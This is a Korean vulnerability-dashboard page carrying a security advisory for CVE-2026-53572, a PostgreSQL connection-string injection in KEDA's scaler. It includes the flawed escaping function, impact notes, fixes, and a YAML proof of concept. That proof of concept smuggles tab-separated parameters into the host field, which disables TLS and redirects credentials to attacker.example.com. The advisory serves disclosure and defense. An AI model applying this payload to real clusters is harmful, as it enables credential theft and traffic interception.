Kestrel
대시보드로 돌아가기
CVE-2026-53572MEDIUM· 5.9GHSA대응게시일: 2026. 07. 07.수정일: 2026. 07. 07.

KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.9medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도높음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향낮음
가용성 영향없음
버전별 점수
CVSS 3.15.9MODERATE
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

상세 설명

Summary

pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:

text
1func escapePostgreConnectionParameter(str string) string {
2 if !strings.Contains(str, " ") {
3 return str // returned as-is for any non-space whitespace
4 }
5 str = strings.ReplaceAll(str, "'", "\\'")
6 return fmt.Sprintf("'%s'", str)
7}

The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.

Vulnerable code

pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257.

Impact

Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:

  • Force sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
  • Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword.
  • Append arbitrary libpq runtime parameters (options=, application_name=, target_session_attrs=) to pivot behavior.

Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target.

Proof of concept

text
1triggers:
2- type: postgresql
3 metadata:
4 host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
5 port: "5432"
6 userName: "keda"
7 dbName: "metrics"
8 sslmode: "require"
9 query: "SELECT 1"

After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.

Suggested fix

  • Escape / reject any ASCII whitespace (\t, \n, \r, \f, \v, space) and backslash.
  • Prefer the URI form (postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding.
  • Validate each field against an allow-list pattern before use.

Resources

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.